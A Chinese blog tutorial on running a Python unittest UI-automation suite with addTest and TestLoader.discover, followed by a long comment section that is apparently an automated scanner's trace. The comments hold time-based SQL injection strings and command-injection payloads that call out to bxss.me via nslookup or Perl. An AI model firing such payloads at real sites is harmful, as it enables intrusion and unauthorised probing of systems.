TypechoJoeTheme

Misty rain的博客

统计

python ui自动化框架 7:集合运行用例

2021-12-31
/
142 评论
/
1,181 阅读
/
正在检测是否收录...
12/31

本章主要讲解如何运行咱们编写好的测试用例test_case

在项目根目录uitest创建run.py

"""
@Author:Misty rain(ZhangHao)
@E-mail:676817831@qq.com
@FileName:run.py
@Software:PyCharm
@Desc:运行用例
"""
import os, sys
import commont.getfileposition as gf
import unittest
from testcase.test_a_search import TestSearch
# 将项目目录加入到环境变量
parent_path = os.path.dirname(sys.path[0])
roopath = gf.getrootpath()
sys.path.append(parent_path)
sys.path.append(roopath)

上面主要讲项目的根目录加入到环境变量中,下来我们来构建suite并运行用例
addTest添加用例运行

if __name__ == '__main__':
    # 构建suite(第一种方法,添加类的用例函数,此方法需要一个个添加)
    suite = unittest.TestSuite()
    suite.addTest(TestSearch('test_searchnull'))
    suite.addTest(TestSearch('test_searchtest'))
    run = unittest.TextTestRunner()
    run.run(suite)

将test_searchnull,test_searchtest添加到suite,然后调用run运行用例。此方法需要一个个添加用例,在实际生产中可能并不适用,但是可以作为调试使用。

addTest添加文件夹

suite = unittest.TestLoader().discover(roopath + '/testcase')
run = unittest.TextTestRunner()
run.run(suite)

添加testcase文件夹然后运行,这里要注意运行顺序的规则:默认顺序执行,需要调整用例的名称;顺序a,b,c,d / 1,2,3,4
我们将test_search更改名称test_a_search,复制出一份test_b_search,将test_a_search里面的用例改为:test_b_searchnull,test_a_searchtest。那么我们运行的顺序是:
test_a_search:
test_a_searchtest,
test_b_searchnull。
test_b_search:
test_a_searchnull,
test_b_searchtest。
文件和用例都是以a,b,c,d的顺序来运行,双数也是如此:aa,ab,ac。这样我们可以通过用例命令的方式来调整用例执行的顺序。

pythonui自动化
朗读
赞(2)
版权属于:

Misty rain的博客

本文链接:

http://101.42.223.25/index.php/archives/134/(转载时请注明本文出处及文章链接)

评论 (142)
  1. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  2. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  3. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  4. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  5. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  6. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  7. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  8. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  9. 1 作者
    Windows 10 · Google Chrome

    1 waitfor delay '0:0:15' --

    2022-04-28 回复
  10. 1 作者
    Windows 10 · Google Chrome

    3xh5gY6s'; waitfor delay '0:0:15' --

    2022-04-28 回复
  11. 1 作者
    Windows 10 · Google Chrome

    @@pCMpR

    2022-04-28 回复
    1. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    2. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    3. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    4. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    5. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    6. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    7. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    8. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    9. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    10. -1 OR 2+164-164-1=0+0+0+1 -- 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    11. -1 OR 2+787-787-1=0+0+0+1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    12. -1' OR 2+219-219-1=0+0+0+1 -- 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    13. -1' OR 2+744-744-1=0+0+0+1 or 'F3KDZZAZ'=' 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    14. 1 作者
      Windows 10 · Google Chrome
      @1

      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

      2022-04-28 回复
    15. 1 作者
      Windows 10 · Google Chrome
      @1

      1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

      2022-04-28 回复
    16. 1 作者
      Windows 10 · Google Chrome
      @1

      1'"

      2022-04-28 回复
    17. 1 作者
      Windows 10 · Google Chrome
      @1

      555

      2022-04-28 回复
    18. -1; waitfor delay '0:0:15' -- 作者
      Windows 10 · Google Chrome
      @1

      555

      2022-04-28 回复
  12. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  13. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  14. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
    1. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    2. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    3. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    4. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    5. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    6. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    7. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    8. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    9. 1 作者
      Windows 10 · Google Chrome
      @1

      pxZN2t9M'; waitfor delay '0:0:15' --

      2022-04-28 回复
    10. 1 作者
      Windows 10 · Google Chrome
      @1

      {!{data:image/webp;base64,UklGRqQEAABXRUJQVlA4WAoAAAAwAAAA0AMAKwEASUNDUBgCAAAAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ99snIe+2TkPfbJyHvtk5D32ych77ZOQ96QAD+/60eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=}!}

      2022-04-28 回复
  15. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  16. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  17. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  18. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  19. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  20. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
    1. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    2. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    3. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    4. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    5. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    6. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    7. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    8. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    9. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    10. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    11. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    12. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    13. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    14. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    15. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    16. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    17. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    18. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    19. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    20. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    21. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    22. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    23. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    24. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    25. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    26. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    27. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    28. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    29. 1 作者
      Windows 10 · Google Chrome
      @1

      1

      2022-04-28 回复
    30. 1 作者
      Windows 10 · Google Chrome
      @1

      $(nslookup hitssgeatoikmef796.bxss.me||perl -e "gethostbyname('hitssgeatoikmef796.bxss.me')")

      2022-04-28 回复
    31. 1 作者
      Windows 10 · Google Chrome
      @1

      0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

      2022-04-28 回复
    32. 1 作者
      Windows 10 · Google Chrome
      @1

      '"()

      2022-04-28 回复
    33. 1 作者
      Windows 10 · Google Chrome
      @1

      )

      2022-04-28 回复
    34. 1 作者
      Windows 10 · Google Chrome
      @1

      &(nslookup hitnqmzvojhbq8eb9a.bxss.me||perl -e "gethostbyname('hitnqmzvojhbq8eb9a.bxss.me')")&'\"`0&(nslookup hitnqmzvojhbq8eb9a.bxss.me||perl -e "gethostbyname('hitnqmzvojhbq8eb9a.bxss.me')")&`'

      2022-04-28 回复
    35. 1 作者
      Windows 10 · Google Chrome
      @1

      0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

      2022-04-28 回复
    36. 1 作者
      Windows 10 · Google Chrome
      @1

      555

      2022-04-28 回复
    37. 1 作者
      Windows 10 · Google Chrome
      @1

      !(()&&!|*|*|

      2022-04-28 回复
    38. 1 作者
      Windows 10 · Google Chrome
      @1

      |(nslookup hitcolwdmgszf17522.bxss.me||perl -e "gethostbyname('hitcolwdmgszf17522.bxss.me')")

      2022-04-28 回复
    39. 1 作者
      Windows 10 · Google Chrome
      @1

      http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

      2022-04-28 回复
    40. 1 作者
      Windows 10 · Google Chrome
      @1

      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

      2022-04-28 回复
    41. 1 作者
      Windows 10 · Google Chrome
      @1

      ^(#$!@#$)(()))******

      2022-04-28 回复
    42. 1 作者
      Windows 10 · Google Chrome
      @1

      `(nslookup hitzbhlnhffqv0a5a7.bxss.me||perl -e "gethostbyname('hitzbhlnhffqv0a5a7.bxss.me')")`

      2022-04-28 回复
    43. 1 作者
      Windows 10 · Google Chrome
      @1

      1some_inexistent_file_with_long_name.jpg

      2022-04-28 回复
    44. 1 作者
      Windows 10 · Google Chrome
      @1

      -1; waitfor delay '0:0:15' --

      2022-04-28 回复
    45. 1 作者
      Windows 10 · Google Chrome
      @1

      '.gethostbyname(lc('hitvy'.'mkngkmufb696b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(87).chr(109).chr(84).'

      2022-04-28 回复
    46. 1 作者
      Windows 10 · Google Chrome
      @1

      ;(nslookup hitwqeqhbaooba8a7a.bxss.me||perl -e "gethostbyname('hitwqeqhbaooba8a7a.bxss.me')")|(nslookup hitwqeqhbaooba8a7a.bxss.me||perl -e "gethostbyname('hitwqeqhbaooba8a7a.bxss.me')")&(nslookup hitwqeqhbaooba8a7a.bxss.me||perl -e "gethostbyname('hitwqeqhbaooba8a7a.bxss.me')")

      2022-04-28 回复
    47. 1 作者
      Windows 10 · Google Chrome
      @1

      Http://bxss.me/t/fit.txt

      2022-04-28 回复
    48. 1 作者
      Windows 10 · Google Chrome
      @1

      -1); waitfor delay '0:0:15' --

      2022-04-28 回复
    49. 1 作者
      Windows 10 · Google Chrome
      @1

      ".gethostbyname(lc("hituc"."zaujftdlf9439.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(81).chr(108).chr(71)."

      2022-04-28 回复
    50. 1 作者
      Windows 10 · Google Chrome
      @1

      http://bxss.me/t/fit.txt?.jpg

      2022-04-28 回复
    51. 1 作者
      Windows 10 · Google Chrome
      @1

      1 waitfor delay '0:0:15' --

      2022-04-28 回复
    52. 1 作者
      Windows 10 · Google Chrome
      @1

      555

      2022-04-28 回复
  21. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  22. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  23. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  24. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  25. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  26. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  27. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  28. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  29. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  30. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  31. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  32. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  33. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  34. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  35. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  36. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  37. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  38. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  39. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  40. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  41. the 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  42. the 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  43. the 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  44. -1 OR 2+745-745-1=0+0+0+1 -- 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  45. 1 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  46. 1DFgPKfpMrO 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  47. 1 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  48. 1 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  49. 1 作者
    Windows 10 · Google Chrome

    1Bq85pXqTQO

    2022-04-28 回复
  50. the 作者
    Windows 10 · Google Chrome

    2022-04-28 回复
  51. the 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  52. the 作者
    Windows 10 · Google Chrome

    -5) OR 517=(SELECT 517 FROM PG_SLEEP(15))--

    2022-04-28 回复
  53. 19604557 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  54. 19176089 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  55. 1 作者
    Windows 10 · Google Chrome

    555'"()&%

    ImGW(9669)

    2022-04-28 回复
  56. 1 作者
    Windows 10 · Google Chrome

    555'"()&%

    uvun(9464)

    2022-04-28 回复
  57. 19553532 作者
    Windows 10 · Google Chrome

    555

    2022-04-28 回复
  58. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  59. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  60. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  61. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复
  62. 1 作者
    Windows 10 · Google Chrome

    1

    2022-04-28 回复

备案号: 浙ICP备2021040483号